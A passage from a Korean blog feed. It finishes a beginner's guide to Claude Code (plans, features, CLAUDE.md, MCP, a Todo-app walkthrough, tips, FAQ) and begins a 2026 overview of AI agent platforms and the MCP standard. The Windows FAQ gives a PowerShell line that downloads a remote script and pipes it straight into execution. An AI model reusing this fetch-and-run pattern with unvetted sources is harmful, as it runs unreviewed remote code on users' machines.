&lt;p&gt;개인적으로는 &lt;strong&gt;터미널(CLI)에서 시작하는 걸 추천&lt;/strong&gt;합니다. Claude Code의 핵심 경험이 터미널에 있고, IDE 확장은 결국 내부적으로 CLI를 호출하는 구조입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;요금제 — 얼마나 드나?&lt;/h2&gt;
&lt;p&gt;Claude Code는 &lt;strong&gt;무료 플랜이 없습니다.&lt;/strong&gt; 아래 중 하나가 필요합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;플랜&lt;/th&gt;
&lt;th&gt;월 비용&lt;/th&gt;
&lt;th&gt;Claude Code 사용량&lt;/th&gt;
&lt;th&gt;추천 대상&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pro&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$20&lt;/td&gt;
&lt;td&gt;제한적&lt;/td&gt;
&lt;td&gt;가볍게 체험&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Max 5x&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$100&lt;/td&gt;
&lt;td&gt;넉넉함&lt;/td&gt;
&lt;td&gt;개인 개발자 (추천)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Max 20x&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$200&lt;/td&gt;
&lt;td&gt;거의 무제한&lt;/td&gt;
&lt;td&gt;헤비 유저&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Team&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$30/인&lt;/td&gt;
&lt;td&gt;팀 공유&lt;/td&gt;
&lt;td&gt;소규모 팀&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Enterprise&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;별도 문의&lt;/td&gt;
&lt;td&gt;커스텀&lt;/td&gt;
&lt;td&gt;대규모 조직&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;실제 비용 감각:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;일반적인 개발자 기준 &lt;strong&gt;하루 $6~12&lt;/strong&gt; 정도 사용&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;/cost&lt;/code&gt; 명령으로 현재 세션의 토큰 사용량과 비용을 실시간 확인 가능&lt;/li&gt;
&lt;li&gt;Sonnet 모델을 기본으로 쓰면 비용을 크게 줄일 수 있고, 복잡한 작업에만 Opus로 전환하는 전략이 효과적&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;처음 시작한다면 &lt;strong&gt;Pro($20)로 체험 → Max($100)로 전환&lt;/strong&gt;하는 경로를 추천합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;핵심 기능 5가지 — 이것만 알면 시작 가능&lt;/h2&gt;
&lt;h3&gt;1. 자연어로 코딩&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&gt; 로그인 API 엔드포인트를 만들어줘. Express.js 기반으로,
  JWT 토큰 발급까지 포함해서.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude Code가 필요한 파일을 만들고, 패키지를 설치하고, 코드를 작성합니다. 사람은 결과를 확인하고 승인하면 됩니다.&lt;/p&gt;
&lt;h3&gt;2. 프로젝트 전체 이해&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&gt; 이 프로젝트의 인증 흐름을 설명해줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;프로젝트 전체 파일을 읽고 구조를 분석합니다. 최대 1M 토큰(약 300만 자)의 컨텍스트 윈도우 덕분에 대규모 프로젝트도 한 번에 이해합니다.&lt;/p&gt;
&lt;h3&gt;3. Git 통합&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&gt; 지금까지 변경사항을 커밋해줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;git add&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;commit&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;push&lt;/code&gt;, PR 생성까지 자연어로 처리합니다. 커밋 메시지도 변경 내용을 분석해서 자동 생성합니다.&lt;/p&gt;
&lt;h3&gt;4. CLAUDE.md — AI에게 주는 프로젝트 매뉴얼&lt;/h3&gt;
&lt;p&gt;프로젝트 루트에 &lt;code class=&quot;language-text&quot;&gt;CLAUDE.md&lt;/code&gt; 파일을 만들면, Claude Code가 매 세션마다 이 파일을 읽고 프로젝트의 규칙과 컨벤션을 따릅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; CLAUDE.md&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 프로젝트 규칙&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; TypeScript strict 모드 사용
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 함수명은 camelCase
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 테스트는 Vitest로 작성
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 커밋 메시지는 한국어로&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;비유하자면 &lt;strong&gt;신입 개발자에게 주는 온보딩 문서&lt;/strong&gt;입니다. 한 번 작성하면 매번 같은 말을 반복할 필요가 없습니다.&lt;/p&gt;
&lt;h3&gt;5. MCP 서버 — 외부 도구 연결&lt;/h3&gt;
&lt;p&gt;MCP(Model Context Protocol)를 통해 Claude Code에 외부 도구를 연결할 수 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;데이터베이스&lt;/strong&gt;: Supabase, PostgreSQL 직접 쿼리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;브라우저&lt;/strong&gt;: Playwright로 웹 자동화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API&lt;/strong&gt;: Slack, GitHub, Jira 등 연동&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 예: Playwright MCP 서버 연결&lt;/span&gt;
claude mcp &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; playwright npx @anthropic-ai/mcp-playwright&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;연결하면 Claude Code가 브라우저를 직접 조작하거나, DB를 조회하거나, Slack에 메시지를 보낼 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;첫 프로젝트 실습 — React Todo 앱 만들기&lt;/h2&gt;
&lt;p&gt;실제로 Claude Code를 사용해서 간단한 프로젝트를 만들어보겠습니다.&lt;/p&gt;
&lt;h3&gt;Step 1: 프로젝트 시작&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; my-todo-app
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; my-todo-app
claude&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Step 2: 프로젝트 생성 요청&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&gt; React + TypeScript로 Todo 앱을 만들어줘.
  Vite 기반으로 세팅하고, 할 일 추가/완료/삭제 기능을 포함해줘.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude Code가 하는 일:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;npm create vite&lt;/code&gt; 실행&lt;/li&gt;
&lt;li&gt;필요한 패키지 설치&lt;/li&gt;
&lt;li&gt;컴포넌트 파일 생성&lt;/li&gt;
&lt;li&gt;기본 스타일 적용&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step 3: 기능 추가&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&gt; 할 일 목록을 localStorage에 저장해서 새로고침해도 유지되게 해줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Step 4: 확인 및 실행&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&gt; dev 서버 실행해줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 과정이 &lt;strong&gt;5~10분&lt;/strong&gt; 안에 끝납니다. 물론 프로덕션 품질의 코드는 아니지만, 프로토타이핑이나 학습 목적으로는 압도적으로 빠릅니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;알아두면 좋은 명령어&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/help&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;도움말&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/cost&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 세션 비용 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/compact&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;컨텍스트 정리 (긴 세션에서 유용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/memory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;프로젝트 메모리 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/review&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;코드 리뷰 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Shift+Tab&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;모델 전환 (Opus ↔ Sonnet)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Esc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 작업 중단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;실전 팁 5가지&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. CLAUDE.md를 먼저 만들어라&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;프로젝트 시작 전에 규칙을 정해두면 일관된 코드를 받을 수 있습니다. 없이 시작하면 매번 &quot;TypeScript로 해줘&quot;, &quot;테스트도 작성해줘&quot;를 반복하게 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 작은 단위로 요청하라&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&quot;전체 쇼핑몰 만들어줘&quot; 보다 &quot;상품 목록 API 만들어줘&quot; → &quot;장바구니 기능 추가해줘&quot; 식으로 나눠서 요청하는 게 결과물 품질이 높습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. /compact를 적극 활용하라&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;긴 세션에서 컨텍스트가 쌓이면 속도가 느려지고 비용이 올라갑니다. 한 작업이 끝나면 &lt;code class=&quot;language-text&quot;&gt;/compact&lt;/code&gt;로 정리하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Sonnet을 기본으로, Opus는 필요할 때만&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;일상적인 코딩은 Sonnet으로 충분합니다. 복잡한 아키텍처 설계나 대규모 리팩토링에만 Opus를 사용하면 비용을 절반 이하로 줄일 수 있습니다. &lt;code class=&quot;language-text&quot;&gt;Shift+Tab&lt;/code&gt;으로 전환합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Git 커밋을 자주 하라&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Claude Code가 코드를 수정하다가 잘못된 방향으로 갈 수 있습니다. 중간중간 커밋해두면 언제든 되돌릴 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 단계&lt;/h2&gt;
&lt;p&gt;이 글에서 다룬 건 기본 중의 기본입니다. Claude Code를 더 깊이 활용하고 싶다면:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MCP 서버 연결&lt;/strong&gt;: 데이터베이스, 브라우저, 외부 API를 Claude Code에 연결하는 방법&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hook 활용&lt;/strong&gt;: 자동 린트, 테스트 실행, 커밋 메시지 검증 자동화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;커스텀 스킬&lt;/strong&gt;: 반복 작업을 슬래시 명령어로 자동화&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이 주제들은 후속 포스팅에서 다루겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. Claude Code는 무료로 쓸 수 있나요?&lt;/h3&gt;
&lt;p&gt;아니요. 최소 Pro 플랜($20/월)이 필요합니다. 무료 체험은 제공되지 않지만, Pro 플랜으로 가볍게 시작한 뒤 필요하면 Max로 업그레이드하는 방식을 추천합니다.&lt;/p&gt;
&lt;h3&gt;Q. Windows에서도 쓸 수 있나요?&lt;/h3&gt;
&lt;p&gt;네. Windows 10 이상에서 네이티브로 지원됩니다. 단, Git for Windows가 사전 설치되어 있어야 합니다. PowerShell에서 &lt;code class=&quot;language-text&quot;&gt;irm https://claude.ai/install.ps1 | iex&lt;/code&gt; 명령으로 설치할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Q. 인터넷이 안 되면 사용할 수 없나요?&lt;/h3&gt;
&lt;p&gt;맞습니다. Claude Code는 Anthropic 서버와 통신해서 작동하므로 인터넷 연결이 필수입니다. 오프라인 모드는 지원하지 않습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분은 AI 코딩 도구를 어떻게 활용하고 계신가요? Claude Code를 써보신 경험이 있다면 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[AI 에이전트란? 2026년 현재 총정리 — 챗봇과 뭐가 다르고, 뭘 할 수 있나]]></title><description><![CDATA[AI 에이전트 2026 총정리 커버 — 챗봇·코파일럿과의 차이점과 주요 도구 안녕하세요, 자바파커입니다. "AI 에이전트가 대세라는데, 그게 ChatGPT…]]></description><link>https://blog.javapark.kr/ai-agent-guide-2026/</link><guid isPermaLink="false">https://blog.javapark.kr/ai-agent-guide-2026/</guid><pubDate>Wed, 01 Apr 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/ai-agent-guide-2026.png&quot; alt=&quot;AI 에이전트 2026 총정리 커버 — 챗봇·코파일럿과의 차이점과 주요 도구&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;AI 에이전트가 대세라는데, 그게 ChatGPT랑 뭐가 다른 건가요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 말하면, 저도 처음엔 헷갈렸습니다. 챗봇, 코파일럿, 에이전트 — 다 AI 아닌가? 근데 직접 써보면 &lt;strong&gt;완전히 다른 경험&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;챗봇은 대화하고, 코파일럿은 도와주고, 에이전트는 직접 일합니다.&lt;/strong&gt; 2026년 현재 AI 에이전트 시장은 $7.6B 규모로, 챗봇 시장 성장률의 2배 속도로 커지고 있습니다. 오늘은 이 모든 것을 한 번에 정리해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;AI 에이전트란? — 30초 정의&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;AI 에이전트(AI Agent)는 목표를 받으면, 스스로 계획을 세우고, 도구를 사용해서, 여러 단계에 걸쳐 작업을 실행하는 AI 시스템&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;비유하자면 이렇습니다:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;챗봇&lt;/th&gt;
&lt;th&gt;코파일럿&lt;/th&gt;
&lt;th&gt;AI 에이전트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;비유&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;안내 데스크 직원&lt;/td&gt;
&lt;td&gt;옆에서 도와주는 동료&lt;/td&gt;
&lt;td&gt;업무를 위임받은 대리인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;하는 일&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;질문에 답변&lt;/td&gt;
&lt;td&gt;작업을 보조&lt;/td&gt;
&lt;td&gt;목표를 받아 자율적으로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;자율성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;낮음 (반응형)&lt;/td&gt;
&lt;td&gt;중간 (제안형)&lt;/td&gt;
&lt;td&gt;높음 (실행형)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;작업 범위&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;대화창 안&lt;/td&gt;
&lt;td&gt;특정 앱 안&lt;/td&gt;
&lt;td&gt;여러 시스템을 넘나듦&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;인간 개입&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;매번 필요&lt;/td&gt;
&lt;td&gt;승인/거절&lt;/td&gt;
&lt;td&gt;최소한의 감독&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;한 줄로 요약하면:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;챗봇&lt;/strong&gt; → 대화를 최적화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;코파일럿&lt;/strong&gt; → 개인 생산성을 최적화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;에이전트&lt;/strong&gt; → 프로세스 처리량을 최적화&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;AI 에이전트 실전 예시 — 챗봇·코파일럿과 비교&lt;/h2&gt;
&lt;p&gt;같은 작업을 세 가지 방식으로 비교해보면 차이가 확 느껴집니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;매월 12개 부서 보고서를 합쳐서 경영진 요약 보고서를 만들어라&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방식&lt;/th&gt;
&lt;th&gt;실제 작업 과정&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;챗봇&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&quot;보고서를 합치는 방법을 알려줘&quot; → 방법을 텍스트로 설명 → &lt;strong&gt;사람이 직접 실행&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;코파일럿&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;엑셀에서 작업 중 &quot;이 수식 추천해줘&quot; → 수식 제안 → &lt;strong&gt;사람이 수락하고 실행&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;에이전트&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&quot;12개 파일 합쳐서 요약 보고서 만들어줘&quot; → &lt;strong&gt;파일 읽기 → 데이터 합치기 → 분석 → 보고서 생성까지 직접 수행&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;에이전트는 결과물까지 만들어냅니다.&lt;/strong&gt; 사람은 최종 확인만 하면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2026년 AI 에이전트 주요 플랫폼 — 한눈에 비교&lt;/h2&gt;
&lt;h3&gt;코딩 에이전트&lt;/h3&gt;
&lt;p&gt;개발자에게 가장 직접적인 AI 에이전트 카테고리입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th&gt;개발사&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;th&gt;작동 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Anthropic&lt;/td&gt;
&lt;td&gt;서브에이전트, Hook, 1M 컨텍스트, MCP&lt;/td&gt;
&lt;td&gt;터미널 / VS Code / 브라우저&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Codex CLI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;td&gt;클라우드 샌드박스, 병렬 실행&lt;/td&gt;
&lt;td&gt;터미널&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Gemini CLI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;Gemini 3, 1M 컨텍스트, Extensions&lt;/td&gt;
&lt;td&gt;터미널&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cursor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Anysphere&lt;/td&gt;
&lt;td&gt;$500M+ ARR, 병렬 에이전트 8개&lt;/td&gt;
&lt;td&gt;IDE (VS Code 포크)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Devin&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cognition&lt;/td&gt;
&lt;td&gt;가장 자율적, 클라우드 IDE&lt;/td&gt;
&lt;td&gt;웹 / Slack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub Copilot&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Microsoft&lt;/td&gt;
&lt;td&gt;Agent Mode, VM 자동 실행, PR 생성&lt;/td&gt;
&lt;td&gt;IDE / 웹&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 블로그에서 다뤄온 &lt;strong&gt;Claude Code, Codex CLI, Gemini CLI&lt;/strong&gt;도 모두 AI 에이전트입니다. 터미널에서 자연어로 지시하면 파일을 읽고, 코드를 작성하고, 테스트를 실행하는 — 그 전체 과정이 &quot;에이전트&quot;입니다.&lt;/p&gt;
&lt;h3&gt;브라우저 에이전트&lt;/h3&gt;
&lt;p&gt;2025~2026년 가장 폭발적으로 성장한 카테고리입니다. AI가 &lt;strong&gt;직접 브라우저를 조작&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th&gt;개발사&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ChatGPT Agent (Operator)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;td&gt;CUA 모델 기반, 스크린샷으로 화면을 &quot;보고&quot; 마우스/키보드로 &quot;조작&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Project Mariner&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;Chrome 확장, 동시 10개 작업, WebVoyager 83.5% (SOTA)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Atlas&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;td&gt;전용 AI 브라우저, Agent Mode로 다단계 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;예: &quot;항공편을 검색해서 가격 비교하고, 가장 저렴한 옵션을 정리해줘&quot;
→ AI가 브라우저를 열고, 검색 사이트를 탐색하고, 결과를 표로 정리&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;워크플로우/비즈니스 에이전트&lt;/h3&gt;
&lt;p&gt;개발 없이도 업무 프로세스를 자동화합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th&gt;개발사&lt;/th&gt;
&lt;th&gt;규모&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Copilot Studio&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Microsoft&lt;/td&gt;
&lt;td&gt;160,000+ 조직 배포&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Agentforce&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Salesforce&lt;/td&gt;
&lt;td&gt;$540M ARR&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이메일 발송, 문서 생성, CRM 업데이트, 회의 예약 등을 로우코드/노코드로 구축합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;AI 에이전트를 연결하는 두 가지 표준 — MCP와 A2A&lt;/h2&gt;
&lt;p&gt;에이전트가 강력한 이유는 &lt;strong&gt;외부 도구와 연결&lt;/strong&gt;할 수 있기 때문입니다. 2026년 현재 두 가지 표준이 자리잡았습니다.&lt;/p&gt;
&lt;h3&gt;MCP (Model Context Protocol) — AI와 도구를 연결&lt;/h3&gt;
&lt;p&gt;Anthropic이 만들고, 현재 Linux Foundation 산하로 이관된 오픈소스 표준입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;AI 모델 ←→ MCP ←→ 외부 도구 (Slack, Google Drive, Jira, DB 등)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;2024년 11월 출시 → 2026년 3월 현재 &lt;strong&gt;월간 9,700만 다운로드&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;5,800+ MCP 서버, 300+ MCP 클라이언트&lt;/li&gt;
&lt;li&gt;OpenAI, Google, Microsoft 모두 채택&lt;/li&gt;
&lt;li&gt;AI 세계의 &lt;strong&gt;&quot;USB-C&quot;&lt;/strong&gt; — 어떤 모델이든, 어떤 도구든 하나의 표준으로 연결&lt;/li&gt;
&lt;/ul&gt;
